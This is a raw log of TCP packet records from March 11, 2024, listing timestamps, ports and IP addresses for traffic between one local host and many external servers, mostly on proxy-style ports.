Mar 11, 2024 16:39:45.348258018 CET	50629	8001	192.168.2.10	213.171.214.19
Mar 11, 2024 16:39:45.348265886 CET	50614	8901	192.168.2.10	178.23.192.249
Mar 11, 2024 16:39:45.348268986 CET	50621	64312	192.168.2.10	104.128.103.32
Mar 11, 2024 16:39:45.348278046 CET	50628	8080	192.168.2.10	45.252.79.48
Mar 11, 2024 16:39:45.348284006 CET	50622	1111	192.168.2.10	103.189.249.196
Mar 11, 2024 16:39:45.348285913 CET	49946	80	192.168.2.10	50.170.90.24
Mar 11, 2024 16:39:45.348292112 CET	50610	54047	192.168.2.10	162.214.227.68
Mar 11, 2024 16:39:45.348292112 CET	50619	8004	192.168.2.10	128.199.221.91
Mar 11, 2024 16:39:45.348304987 CET	50632	2016	192.168.2.10	103.174.178.137
Mar 11, 2024 16:39:45.348304987 CET	50638	80	192.168.2.10	37.120.187.59
Mar 11, 2024 16:39:45.348313093 CET	50640	42624	192.168.2.10	162.214.164.200
Mar 11, 2024 16:39:45.348315001 CET	50956	80	192.168.2.10	50.168.72.116
Mar 11, 2024 16:39:45.349066019 CET	51318	80	192.168.2.10	104.16.106.234
Mar 11, 2024 16:39:45.349244118 CET	4145	51187	72.210.221.197	192.168.2.10
Mar 11, 2024 16:39:45.349345922 CET	51187	4145	192.168.2.10	72.210.221.197
Mar 11, 2024 16:39:45.349565983 CET	51187	4145	192.168.2.10	72.210.221.197
Mar 11, 2024 16:39:45.349894047 CET	51319	62289	192.168.2.10	161.97.173.42
Mar 11, 2024 16:39:45.350791931 CET	31679	51253	98.162.25.29	192.168.2.10
Mar 11, 2024 16:39:45.351145983 CET	8089	50192	114.232.109.43	192.168.2.10
Mar 11, 2024 16:39:45.351259947 CET	51253	31679	192.168.2.10	98.162.25.29
Mar 11, 2024 16:39:45.351355076 CET	51320	83	192.168.2.10	103.159.47.34
Mar 11, 2024 16:39:45.352720022 CET	51321	80	192.168.2.10	5.78.65.91
Mar 11, 2024 16:39:45.352978945 CET	80	50721	121.159.146.251	192.168.2.10
Mar 11, 2024 16:39:45.353363991 CET	51322	3128	192.168.2.10	144.91.118.176
Mar 11, 2024 16:39:45.353617907 CET	80	50750	50.175.212.79	192.168.2.10
Mar 11, 2024 16:39:45.354779005 CET	51323	1111	192.168.2.10	103.165.155.171
Mar 11, 2024 16:39:45.354780912 CET	5775	49915	72.10.160.92	192.168.2.10
Mar 11, 2024 16:39:45.354832888 CET	80	50721	121.159.146.251	192.168.2.10
Mar 11, 2024 16:39:45.355392933 CET	80	51180	121.159.146.251	192.168.2.10
Mar 11, 2024 16:39:45.355567932 CET	80	51009	46.35.9.110	192.168.2.10
Mar 11, 2024 16:39:45.355587959 CET	51180	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:45.355943918 CET	51180	80	192.168.2.10	121.159.146.251
Mar 11, 2024 16:39:45.356540918 CET	51324	80	192.168.2.10	46.35.9.110
Mar 11, 2024 16:39:45.356785059 CET	51325	8080	192.168.2.10	31.146.5.178
Mar 11, 2024 16:39:45.357114077 CET	13477	51216	72.10.160.93	192.168.2.10
Mar 11, 2024 16:39:45.357136965 CET	51326	8080	192.168.2.10	125.212.231.220
Mar 11, 2024 16:39:45.358405113 CET	51327	443	192.168.2.10	43.153.174.197
Mar 11, 2024 16:39:45.358426094 CET	443	51327	43.153.174.197	192.168.2.10
Mar 11, 2024 16:39:45.358685017 CET	51327	443	192.168.2.10	43.153.174.197
Mar 11, 2024 16:39:45.358834028 CET	51327	443	192.168.2.10	43.153.174.197
Mar 11, 2024 16:39:45.358844995 CET	443	51327	43.153.174.197	192.168.2.10
Mar 11, 2024 16:39:45.358853102 CET	5555	50294	14.225.254.128	192.168.2.10
Mar 11, 2024 16:39:45.358886003 CET	443	51327	43.153.174.197	192.168.2.10
Mar 11, 2024 16:39:45.359436989 CET	51328	443	192.168.2.10	43.153.174.197
Mar 11, 2024 16:39:45.359445095 CET	443	51328	43.153.174.197	192.168.2.10
Mar 11, 2024 16:39:45.359514952 CET	51328	443	192.168.2.10	43.153.174.197
Mar 11, 2024 16:39:45.359585047 CET	8080	50198	46.209.54.102	192.168.2.10
Mar 11, 2024 16:39:45.359795094 CET	51328	443	192.168.2.10	43.153.174.197
Mar 11, 2024 16:39:45.359805107 CET	443	51328	43.153.174.197	192.168.2.10
Mar 11, 2024 16:39:45.359823942 CET	443	51328	43.153.174.197	192.168.2.10
Mar 11, 2024 16:39:45.360382080 CET	51330	80	192.168.2.10	185.212.60.62
Mar 11, 2024 16:39:45.360414028 CET	51329	443	192.168.2.10	43.153.174.197
Mar 11, 2024 16:39:45.360433102 CET	443	51329	43.153.174.197	192.168.2.10
Mar 11, 2024 16:39:45.360629082 CET	51329	443	192.168.2.10	43.153.174.197
Mar 11, 2024 16:39:45.360899925 CET	51329	443	192.168.2.10	43.153.174.197
Mar 11, 2024 16:39:45.360905886 CET	443	51329	43.153.174.197	192.168.2.10
Mar 11, 2024 16:39:45.360927105 CET	443	51329	43.153.174.197	192.168.2.10
Mar 11, 2024 16:39:45.361310959 CET	51331	8080	192.168.2.10	188.132.222.3
Mar 11, 2024 16:39:45.361392021 CET	51332	443	192.168.2.10	43.153.174.197
Mar 11, 2024 16:39:45.361434937 CET	443	51332	43.153.174.197	192.168.2.10
Mar 11, 2024 16:39:45.361568928 CET	51332	443	192.168.2.10	43.153.174.197
Mar 11, 2024 16:39:45.361639977 CET	51332	443	192.168.2.10	43.153.174.197
Mar 11, 2024 16:39:45.361656904 CET	443	51332	43.153.174.197	192.168.2.10
Mar 11, 2024 16:39:45.361675024 CET	443	51332	43.153.174.197	192.168.2.10
Mar 11, 2024 16:39:45.363059044 CET	39533	51178	167.172.109.12	192.168.2.10
Mar 11, 2024 16:39:45.363087893 CET	51333	80	192.168.2.10	172.67.36.21
Mar 11, 2024 16:39:45.363092899 CET	80	50478	50.217.226.45	192.168.2.10
Mar 11, 2024 16:39:45.363812923 CET	50625	8080	192.168.2.10	189.203.201.146
Mar 11, 2024 16:39:45.363814116 CET	50616	27138	192.168.2.10	173.212.209.216
Mar 11, 2024 16:39:45.363832951 CET	51057	61634	192.168.2.10	107.180.103.214
Mar 11, 2024 16:39:45.363832951 CET	50803	4145	192.168.2.10	185.169.181.25
Mar 11, 2024 16:39:45.363842010 CET	50989	4145	192.168.2.10	199.102.104.70
Mar 11, 2024 16:39:45.363842010 CET	50633	16379	192.168.2.10	51.15.234.222
Mar 11, 2024 16:39:45.363843918 CET	50618	999	192.168.2.10	45.65.138.48
Mar 11, 2024 16:39:45.363843918 CET	50630	4153	192.168.2.10	185.171.55.218
Mar 11, 2024 16:39:45.363847017 CET	50634	4153	192.168.2.10	190.2.110.7
Mar 11, 2024 16:39:45.363847017 CET	50637	16379	192.168.2.10	51.158.124.167
Mar 11, 2024 16:39:45.363848925 CET	50639	4145	192.168.2.10	202.124.46.65
Mar 11, 2024 16:39:45.363854885 CET	50645	40571	192.168.2.10	216.10.242.18
Mar 11, 2024 16:39:45.363854885 CET	50650	80	192.168.2.10	162.214.165.203
Mar 11, 2024 16:39:45.363867998 CET	50655	80	192.168.2.10	3.24.178.81
Mar 11, 2024 16:39:45.363869905 CET	50643	48085	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:45.363869905 CET	50657	23500	192.168.2.10	109.73.184.94
Mar 11, 2024 16:39:45.363869905 CET	50652	8182	192.168.2.10	120.89.91.222
Mar 11, 2024 16:39:45.363869905 CET	50658	80	192.168.2.10	34.154.161.152
Mar 11, 2024 16:39:45.363869905 CET	50647	4153	192.168.2.10	202.44.228.36
Mar 11, 2024 16:39:45.363869905 CET	50653	8080	192.168.2.10	181.212.45.226
Mar 11, 2024 16:39:45.363869905 CET	50654	29718	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:45.366159916 CET	51334	5678	192.168.2.10	202.144.134.150
Mar 11, 2024 16:39:45.366692066 CET	51335	999	192.168.2.10	45.234.60.3
Mar 11, 2024 16:39:45.370147943 CET	8089	51149	111.225.152.191	192.168.2.10
Mar 11, 2024 16:39:45.373667002 CET	31247	51126	202.40.181.220	192.168.2.10
Mar 11, 2024 16:39:45.373775005 CET	51126	31247	192.168.2.10	202.40.181.220
Mar 11, 2024 16:39:45.374454975 CET	51126	31247	192.168.2.10	202.40.181.220
Mar 11, 2024 16:39:45.376661062 CET	80	50794	50.207.199.87	192.168.2.10
Mar 11, 2024 16:39:45.377162933 CET	4145	51203	190.103.29.101	192.168.2.10
Mar 11, 2024 16:39:45.378839970 CET	8880	50481	95.66.138.21	192.168.2.10
Mar 11, 2024 16:39:45.378850937 CET	8880	50481	95.66.138.21	192.168.2.10
Mar 11, 2024 16:39:45.378997087 CET	50481	8880	192.168.2.10	95.66.138.21
Mar 11, 2024 16:39:45.379089117 CET	999	50364	191.97.9.228	192.168.2.10
Mar 11, 2024 16:39:45.379262924 CET	12334	51018	194.4.50.61	192.168.2.10
Mar 11, 2024 16:39:45.379427910 CET	12334	51016	194.4.50.91	192.168.2.10
Mar 11, 2024 16:39:45.379432917 CET	50641	8080	192.168.2.10	139.5.73.71
Mar 11, 2024 16:39:45.379432917 CET	50979	8000	192.168.2.10	198.199.83.206
Mar 11, 2024 16:39:45.379434109 CET	50826	3629	192.168.2.10	177.86.64.1
Mar 11, 2024 16:39:45.379451990 CET	50648	1976	192.168.2.10	41.65.55.10
Mar 11, 2024 16:39:45.379451990 CET	50136	14921	192.168.2.10	192.252.211.197
Mar 11, 2024 16:39:45.379453897 CET	50662	4444	192.168.2.10	193.8.87.43
Mar 11, 2024 16:39:45.379457951 CET	50664	4153	192.168.2.10	187.122.105.181
Mar 11, 2024 16:39:45.379543066 CET	12334	51226	194.4.50.61	192.168.2.10
Mar 11, 2024 16:39:45.379560947 CET	50848	8080	192.168.2.10	46.105.35.193
Mar 11, 2024 16:39:45.379560947 CET	50883	80	192.168.2.10	50.174.145.12
Mar 11, 2024 16:39:45.379564047 CET	50696	1080	192.168.2.10	103.140.205.133
Mar 11, 2024 16:39:45.379564047 CET	50644	8080	192.168.2.10	165.16.46.193
Mar 11, 2024 16:39:45.379570007 CET	50660	999	192.168.2.10	177.93.45.156
Mar 11, 2024 16:39:45.379571915 CET	50808	38817	192.168.2.10	77.48.23.181
Mar 11, 2024 16:39:45.379571915 CET	50659	80	192.168.2.10	188.165.213.106
Mar 11, 2024 16:39:45.379703999 CET	51226	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:45.380115032 CET	50481	8880	192.168.2.10	95.66.138.21
Mar 11, 2024 16:39:45.380588055 CET	51226	12334	192.168.2.10	194.4.50.61
Mar 11, 2024 16:39:45.382287025 CET	51336	8080	192.168.2.10	178.115.230.243
Mar 11, 2024 16:39:45.382988930 CET	51337	13916	192.168.2.10	67.213.212.47
Mar 11, 2024 16:39:45.383352995 CET	51338	999	192.168.2.10	38.7.4.90
Mar 11, 2024 16:39:45.383812904 CET	51340	8123	192.168.2.10	20.210.113.32
Mar 11, 2024 16:39:45.383816957 CET	51339	80	192.168.2.10	20.127.163.26
Mar 11, 2024 16:39:45.384028912 CET	51341	8715	192.168.2.10	103.154.144.202
Mar 11, 2024 16:39:45.384190083 CET	51342	3128	192.168.2.10	3.21.101.158
Mar 11, 2024 16:39:45.384262085 CET	80	50222	8.222.239.209	192.168.2.10
Mar 11, 2024 16:39:45.384391069 CET	50222	80	192.168.2.10	8.222.239.209
Mar 11, 2024 16:39:45.384499073 CET	51343	80	192.168.2.10	14.143.130.210
Mar 11, 2024 16:39:45.384697914 CET	51344	16075	192.168.2.10	159.89.194.121
Mar 11, 2024 16:39:45.384768009 CET	51345	38080	192.168.2.10	31.44.82.2
Mar 11, 2024 16:39:45.385071039 CET	51346	17464	192.168.2.10	66.228.33.190
Mar 11, 2024 16:39:45.385509014 CET	5678	49874	1.15.62.12	192.168.2.10
Mar 11, 2024 16:39:45.385627985 CET	26087	50675	67.43.228.253	192.168.2.10
Mar 11, 2024 16:39:45.385663986 CET	49874	5678	192.168.2.10	1.15.62.12
Mar 11, 2024 16:39:45.385807991 CET	49874	5678	192.168.2.10	1.15.62.12
Mar 11, 2024 16:39:45.385951996 CET	51347	5678	192.168.2.10	1.15.62.12
Mar 11, 2024 16:39:45.387208939 CET	51348	8082	192.168.2.10	122.54.147.110
Mar 11, 2024 16:39:45.388467073 CET	51349	4145	192.168.2.10	184.170.248.5
Mar 11, 2024 16:39:45.389679909 CET	51350	53281	192.168.2.10	88.119.139.237
Mar 11, 2024 16:39:45.390512943 CET	4145	50775	74.119.147.209	192.168.2.10
Mar 11, 2024 16:39:45.390770912 CET	5432	51249	31.204.28.96	192.168.2.10
Mar 11, 2024 16:39:45.390793085 CET	51351	80	192.168.2.10	104.20.89.77
Mar 11, 2024 16:39:45.390862942 CET	51249	5432	192.168.2.10	31.204.28.96
Mar 11, 2024 16:39:45.390969992 CET	51249	5432	192.168.2.10	31.204.28.96
Mar 11, 2024 16:39:45.392455101 CET	51352	80	192.168.2.10	120.78.191.68
Mar 11, 2024 16:39:45.392455101 CET	51353	3128	192.168.2.10	103.90.227.244
Mar 11, 2024 16:39:45.393590927 CET	51354	8080	192.168.2.10	190.109.168.217
Mar 11, 2024 16:39:45.394758940 CET	51355	53012	192.168.2.10	91.134.140.160
Mar 11, 2024 16:39:45.395046949 CET	50994	4145	192.168.2.10	199.229.254.129
Mar 11, 2024 16:39:45.395062923 CET	50932	8080	192.168.2.10	96.80.235.1
Mar 11, 2024 16:39:45.395107031 CET	8888	51033	66.45.246.194	192.168.2.10
Mar 11, 2024 16:39:45.395107985 CET	50100	7853	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:45.395107985 CET	50202	4145	192.168.2.10	199.102.107.145
Mar 11, 2024 16:39:45.395108938 CET	50845	1080	192.168.2.10	188.255.245.205
Mar 11, 2024 16:39:45.395133018 CET	50893	80	192.168.2.10	50.217.226.42
Mar 11, 2024 16:39:45.395138025 CET	49841	3629	192.168.2.10	178.158.197.147
Mar 11, 2024 16:39:45.395212889 CET	49945	4145	192.168.2.10	36.90.61.224
Mar 11, 2024 16:39:45.395216942 CET	49879	5678	192.168.2.10	176.119.227.65
Mar 11, 2024 16:39:45.395227909 CET	49614	50225	206.189.145.23	192.168.2.10
Mar 11, 2024 16:39:45.395467997 CET	50225	49614	192.168.2.10	206.189.145.23
Mar 11, 2024 16:39:45.395915031 CET	80	51099	104.16.224.33	192.168.2.10
Mar 11, 2024 16:39:45.396488905 CET	51356	999	192.168.2.10	201.77.108.130
Mar 11, 2024 16:39:45.397427082 CET	51357	41442	192.168.2.10	162.241.46.6
Mar 11, 2024 16:39:45.398296118 CET	51358	16379	192.168.2.10	51.158.79.76
Mar 11, 2024 16:39:45.399646997 CET	51359	1080	192.168.2.10	103.47.93.219
Mar 11, 2024 16:39:45.399987936 CET	8080	49782	42.200.196.208	192.168.2.10
Mar 11, 2024 16:39:45.400192976 CET	4145	50807	192.111.134.10	192.168.2.10
Mar 11, 2024 16:39:45.400856972 CET	51360	8080	192.168.2.10	79.122.230.20
Mar 11, 2024 16:39:45.400943041 CET	30717	51239	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:45.400986910 CET	49775	50190	138.201.21.232	192.168.2.10
Mar 11, 2024 16:39:45.401494980 CET	29813	51242	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:45.401506901 CET	10677	50716	72.10.160.173	192.168.2.10
Mar 11, 2024 16:39:45.401596069 CET	13087	50710	67.43.236.18	192.168.2.10
Mar 11, 2024 16:39:45.401874065 CET	80	50222	8.222.239.209	192.168.2.10
Mar 11, 2024 16:39:45.402028084 CET	4145	50812	142.54.232.6	192.168.2.10
Mar 11, 2024 16:39:45.402074099 CET	51361	16379	192.168.2.10	51.15.223.24
Mar 11, 2024 16:39:45.402084112 CET	8081	51049	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:45.402134895 CET	51049	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:45.402447939 CET	51362	80	192.168.2.10	8.222.239.209
Mar 11, 2024 16:39:45.402508020 CET	51049	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:45.402692080 CET	51363	8081	192.168.2.10	193.239.56.84
Mar 11, 2024 16:39:45.403189898 CET	51364	8081	192.168.2.10	103.169.187.29
Mar 11, 2024 16:39:45.404136896 CET	53777	50445	104.238.111.107	192.168.2.10
Mar 11, 2024 16:39:45.404160023 CET	51365	50564	192.168.2.10	164.92.86.113
Mar 11, 2024 16:39:45.404211044 CET	50445	53777	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:45.404409885 CET	50445	53777	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:45.406781912 CET	80	50693	50.230.222.202	192.168.2.10
Mar 11, 2024 16:39:45.407078028 CET	999	50310	45.234.61.173	192.168.2.10
Mar 11, 2024 16:39:45.407162905 CET	50310	999	192.168.2.10	45.234.61.173
Mar 11, 2024 16:39:45.408690929 CET	80	50582	50.173.140.148	192.168.2.10
Mar 11, 2024 16:39:45.408704042 CET	80	50589	50.222.245.41	192.168.2.10
Mar 11, 2024 16:39:45.410675049 CET	50676	36946	192.168.2.10	207.180.234.220
Mar 11, 2024 16:39:45.410675049 CET	50540	85	192.168.2.10	43.255.113.232
Mar 11, 2024 16:39:45.410686970 CET	50818	4145	192.168.2.10	103.210.35.40
Mar 11, 2024 16:39:45.410701990 CET	50118	24279	192.168.2.10	67.43.228.251
Mar 11, 2024 16:39:45.410701990 CET	50087	9002	192.168.2.10	111.59.4.88
Mar 11, 2024 16:39:45.410706997 CET	49990	37355	192.168.2.10	167.172.109.12
Mar 11, 2024 16:39:45.410708904 CET	50106	17893	192.168.2.10	72.10.160.90
Mar 11, 2024 16:39:45.410701990 CET	50224	4145	192.168.2.10	199.102.106.94
Mar 11, 2024 16:39:45.410708904 CET	51015	4145	192.168.2.10	142.54.231.38
Mar 11, 2024 16:39:45.410701990 CET	50990	36363	192.168.2.10	51.222.241.157
Mar 11, 2024 16:39:45.410725117 CET	50665	8080	192.168.2.10	102.214.104.56
Mar 11, 2024 16:39:45.410725117 CET	50957	80	192.168.2.10	50.169.118.209
Mar 11, 2024 16:39:45.410727024 CET	49845	58386	192.168.2.10	5.44.42.115
Mar 11, 2024 16:39:45.410727024 CET	50823	32650	192.168.2.10	103.216.51.36
Mar 11, 2024 16:39:45.410727978 CET	50666	2536	192.168.2.10	148.72.206.84
Mar 11, 2024 16:39:45.410731077 CET	50678	4153	192.168.2.10	170.81.108.46
Mar 11, 2024 16:39:45.410758972 CET	50667	3128	192.168.2.10	201.243.82.157
Mar 11, 2024 16:39:45.410906076 CET	50679	48200	192.168.2.10	43.230.196.98
Mar 11, 2024 16:39:45.410907984 CET	50997	58703	192.168.2.10	67.213.210.118
Mar 11, 2024 16:39:45.411462069 CET	8081	51049	193.239.56.84	192.168.2.10
Mar 11, 2024 16:39:45.412956953 CET	8080	51157	103.83.80.67	192.168.2.10
Mar 11, 2024 16:39:45.413038015 CET	51157	8080	192.168.2.10	103.83.80.67
Mar 11, 2024 16:39:45.415316105 CET	50661	62291	192.168.2.10	161.97.170.209
Mar 11, 2024 16:39:45.415636063 CET	3128	51066	130.162.213.175	192.168.2.10
Mar 11, 2024 16:39:45.416522026 CET	80	51217	50.218.57.66	192.168.2.10
Mar 11, 2024 16:39:45.416610956 CET	4145	50397	103.58.16.57	192.168.2.10
Mar 11, 2024 16:39:45.416711092 CET	3128	51058	91.189.177.188	192.168.2.10
Mar 11, 2024 16:39:45.417046070 CET	3128	51058	91.189.177.188	192.168.2.10
Mar 11, 2024 16:39:45.417059898 CET	3128	51058	91.189.177.188	192.168.2.10
Mar 11, 2024 16:39:45.417123079 CET	3128	51058	91.189.177.188	192.168.2.10
Mar 11, 2024 16:39:45.417134047 CET	3128	51058	91.189.177.188	192.168.2.10
Mar 11, 2024 16:39:45.417141914 CET	51058	3128	192.168.2.10	91.189.177.188
Mar 11, 2024 16:39:45.417144060 CET	3128	51058	91.189.177.188	192.168.2.10
Mar 11, 2024 16:39:45.417169094 CET	11339	50742	67.43.228.251	192.168.2.10
Mar 11, 2024 16:39:45.417191982 CET	51058	3128	192.168.2.10	91.189.177.188
Mar 11, 2024 16:39:45.417191982 CET	51058	3128	192.168.2.10	91.189.177.188
Mar 11, 2024 16:39:45.417198896 CET	18067	49948	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:45.417232990 CET	26353	49949	67.43.227.228	192.168.2.10
Mar 11, 2024 16:39:45.417262077 CET	17145	49961	67.43.236.18	192.168.2.10
Mar 11, 2024 16:39:45.418986082 CET	666	51168	107.172.0.177	192.168.2.10
Mar 11, 2024 16:39:45.424426079 CET	15673	51160	198.23.229.203	192.168.2.10
Mar 11, 2024 16:39:45.424961090 CET	15673	51160	198.23.229.203	192.168.2.10
Mar 11, 2024 16:39:45.426305056 CET	50254	9002	192.168.2.10	222.138.76.6
Mar 11, 2024 16:39:45.426310062 CET	50911	64384	192.168.2.10	195.154.43.221
Mar 11, 2024 16:39:45.426323891 CET	50677	52173	192.168.2.10	31.24.44.92
Mar 11, 2024 16:39:45.426331997 CET	50125	1431	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:45.426333904 CET	50891	6969	192.168.2.10	95.217.222.213
Mar 11, 2024 16:39:45.426333904 CET	50668	37920	192.168.2.10	37.187.77.58
Mar 11, 2024 16:39:45.426333904 CET	50194	44374	192.168.2.10	172.93.111.235
Mar 11, 2024 16:39:45.426342964 CET	50821	8089	192.168.2.10	111.225.153.135
Mar 11, 2024 16:39:45.426387072 CET	50682	61344	192.168.2.10	75.119.145.169
Mar 11, 2024 16:39:45.426387072 CET	50694	24001	192.168.2.10	139.196.186.157
Mar 11, 2024 16:39:45.426388979 CET	50689	3128	192.168.2.10	176.58.96.11
Mar 11, 2024 16:39:45.426389933 CET	50688	8080	192.168.2.10	68.188.93.171
Mar 11, 2024 16:39:45.426389933 CET	50690	999	192.168.2.10	201.71.3.61
Mar 11, 2024 16:39:45.426392078 CET	50685	8080	192.168.2.10	160.119.148.190
Mar 11, 2024 16:39:45.426392078 CET	50692	8080	192.168.2.10	51.145.176.250
Mar 11, 2024 16:39:45.426393986 CET	50864	4145	192.168.2.10	177.125.206.40
Mar 11, 2024 16:39:45.429656029 CET	5836	50461	185.158.248.95	192.168.2.10
Mar 11, 2024 16:39:45.430277109 CET	8080	50849	103.69.151.189	192.168.2.10
Mar 11, 2024 16:39:45.432117939 CET	3256	51177	119.84.215.127	192.168.2.10
Mar 11, 2024 16:39:45.432178020 CET	80	51074	121.128.194.154	192.168.2.10
Mar 11, 2024 16:39:45.432452917 CET	36181	51231	69.61.200.104	192.168.2.10
Mar 11, 2024 16:39:45.432518959 CET	51231	36181	192.168.2.10	69.61.200.104
Mar 11, 2024 16:39:45.433098078 CET	80	51210	104.21.85.200	192.168.2.10
Mar 11, 2024 16:39:45.433111906 CET	80	51210	104.21.85.200	192.168.2.10
Mar 11, 2024 16:39:45.433876991 CET	5369	50772	72.10.160.171	192.168.2.10
Mar 11, 2024 16:39:45.434206963 CET	3128	50468	18.135.211.182	192.168.2.10
Mar 11, 2024 16:39:45.434230089 CET	80	50611	50.174.214.219	192.168.2.10
Mar 11, 2024 16:39:45.434251070 CET	80	51210	104.21.85.200	192.168.2.10
Mar 11, 2024 16:39:45.434372902 CET	80	51074	121.128.194.154	192.168.2.10
Mar 11, 2024 16:39:45.434448004 CET	23685	50755	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:45.434500933 CET	51210	80	192.168.2.10	104.21.85.200
Mar 11, 2024 16:39:45.434514046 CET	4145	51105	190.153.121.2	192.168.2.10
Mar 11, 2024 16:39:45.434856892 CET	8083	51190	185.132.242.212	192.168.2.10
Mar 11, 2024 16:39:45.434926033 CET	51190	8083	192.168.2.10	185.132.242.212
Mar 11, 2024 16:39:45.434974909 CET	4145	51105	190.153.121.2	192.168.2.10
Mar 11, 2024 16:39:45.435942888 CET	5678	49926	181.78.13.91	192.168.2.10
Mar 11, 2024 16:39:45.436119080 CET	9090	50576	212.108.145.195	192.168.2.10
Mar 11, 2024 16:39:45.436825037 CET	50310	999	192.168.2.10	45.234.61.173
Mar 11, 2024 16:39:45.436830044 CET	51157	8080	192.168.2.10	103.83.80.67
Mar 11, 2024 16:39:45.437016010 CET	51058	3128	192.168.2.10	91.189.177.188
Mar 11, 2024 16:39:45.437506914 CET	51366	15673	192.168.2.10	198.23.229.203
Mar 11, 2024 16:39:45.437623024 CET	51231	36181	192.168.2.10	69.61.200.104
Mar 11, 2024 16:39:45.437684059 CET	51210	80	192.168.2.10	104.21.85.200
Mar 11, 2024 16:39:45.438536882 CET	51190	8083	192.168.2.10	185.132.242.212
Mar 11, 2024 16:39:45.439042091 CET	51367	4145	192.168.2.10	190.153.121.2
Mar 11, 2024 16:39:45.439044952 CET	51368	80	192.168.2.10	121.128.194.154
Mar 11, 2024 16:39:45.439789057 CET	51369	1981	192.168.2.10	41.33.219.131
Mar 11, 2024 16:39:45.439910889 CET	80	50223	195.23.57.78	192.168.2.10
Mar 11, 2024 16:39:45.440098047 CET	51370	31147	192.168.2.10	209.121.164.50
Mar 11, 2024 16:39:45.440182924 CET	8081	49722	154.72.90.74	192.168.2.10
Mar 11, 2024 16:39:45.440195084 CET	80	50649	50.173.140.150	192.168.2.10
Mar 11, 2024 16:39:45.440664053 CET	44607	49712	162.241.6.97	192.168.2.10
Mar 11, 2024 16:39:45.441147089 CET	1080	51221	121.129.47.25	192.168.2.10
Mar 11, 2024 16:39:45.441586018 CET	80	51111	162.159.242.10	192.168.2.10
Mar 11, 2024 16:39:45.441926956 CET	50435	26976	192.168.2.10	124.198.74.90
Mar 11, 2024 16:39:45.441951990 CET	50857	4145	192.168.2.10	82.137.244.59
Mar 11, 2024 16:39:45.441951990 CET	50681	52858	192.168.2.10	195.177.217.131
Mar 11, 2024 16:39:45.441951990 CET	50706	2222	192.168.2.10	223.25.100.42
Mar 11, 2024 16:39:45.441952944 CET	50171	41274	192.168.2.10	162.241.158.204
Mar 11, 2024 16:39:45.441971064 CET	50686	44550	192.168.2.10	190.144.224.182
Mar 11, 2024 16:39:45.441971064 CET	50129	10363	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:45.441971064 CET	50714	5678	192.168.2.10	196.61.44.54
Mar 11, 2024 16:39:45.441971064 CET	50695	8080	192.168.2.10	151.22.181.205
Mar 11, 2024 16:39:45.441971064 CET	50723	4153	192.168.2.10	46.28.72.75
Mar 11, 2024 16:39:45.441972971 CET	50709	8083	192.168.2.10	103.84.177.27
Mar 11, 2024 16:39:45.441978931 CET	50712	8080	192.168.2.10	188.132.222.38
Mar 11, 2024 16:39:45.442023993 CET	4153	50446	179.109.193.228	192.168.2.10
Mar 11, 2024 16:39:45.442121029 CET	50725	15805	192.168.2.10	172.93.111.87
Mar 11, 2024 16:39:45.443568945 CET	3629	50407	91.220.69.43	192.168.2.10
Mar 11, 2024 16:39:45.443666935 CET	27639	50585	185.45.194.176	192.168.2.10
Mar 11, 2024 16:39:45.444441080 CET	8800	51010	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:45.444515944 CET	51010	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:45.444587946 CET	6012	50642	45.11.95.165	192.168.2.10
Mar 11, 2024 16:39:45.444648027 CET	51010	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:45.444747925 CET	51371	80	192.168.2.10	185.217.143.23
Mar 11, 2024 16:39:45.444962978 CET	51372	8800	192.168.2.10	43.133.136.208
Mar 11, 2024 16:39:45.445276022 CET	51373	80	192.168.2.10	104.27.66.31
Mar 11, 2024 16:39:45.447968960 CET	9090	50576	212.108.145.195	192.168.2.10
Mar 11, 2024 16:39:45.447979927 CET	51374	59307	192.168.2.10	138.68.24.185
Mar 11, 2024 16:39:45.448477030 CET	6012	51198	45.11.95.165	192.168.2.10
Mar 11, 2024 16:39:45.448617935 CET	51198	6012	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:45.448617935 CET	51198	6012	192.168.2.10	45.11.95.165
Mar 11, 2024 16:39:45.449254036 CET	80	50402	36.92.193.189	192.168.2.10
Mar 11, 2024 16:39:45.450392962 CET	8800	51010	43.133.136.208	192.168.2.10
Mar 11, 2024 16:39:45.450572968 CET	25639	49980	67.43.227.226	192.168.2.10
Mar 11, 2024 16:39:45.450577974 CET	4145	51254	174.64.199.82	192.168.2.10
Mar 11, 2024 16:39:45.450658083 CET	51254	4145	192.168.2.10	174.64.199.82
Mar 11, 2024 16:39:45.450815916 CET	51254	4145	192.168.2.10	174.64.199.82
Mar 11, 2024 16:39:45.451514959 CET	4145	51101	174.64.199.79	192.168.2.10
Mar 11, 2024 16:39:45.451525927 CET	4145	51101	174.64.199.79	192.168.2.10
Mar 11, 2024 16:39:45.452023983 CET	51376	4145	192.168.2.10	174.64.199.79
Mar 11, 2024 16:39:45.452749968 CET	51377	80	192.168.2.10	172.67.182.77
Mar 11, 2024 16:39:45.452975035 CET	6940	51225	51.68.230.210	192.168.2.10
Mar 11, 2024 16:39:45.453829050 CET	7302	51148	124.163.236.54	192.168.2.10
Mar 11, 2024 16:39:45.453896999 CET	51148	7302	192.168.2.10	124.163.236.54
Mar 11, 2024 16:39:45.454329967 CET	51148	7302	192.168.2.10	124.163.236.54
Mar 11, 2024 16:39:45.455521107 CET	51378	18301	192.168.2.10	98.206.244.30
Mar 11, 2024 16:39:45.456176043 CET	4153	50471	177.72.82.47	192.168.2.10
Mar 11, 2024 16:39:45.457559109 CET	50790	28513	192.168.2.10	213.136.78.200
Mar 11, 2024 16:39:45.457564116 CET	50602	80	192.168.2.10	41.77.188.131
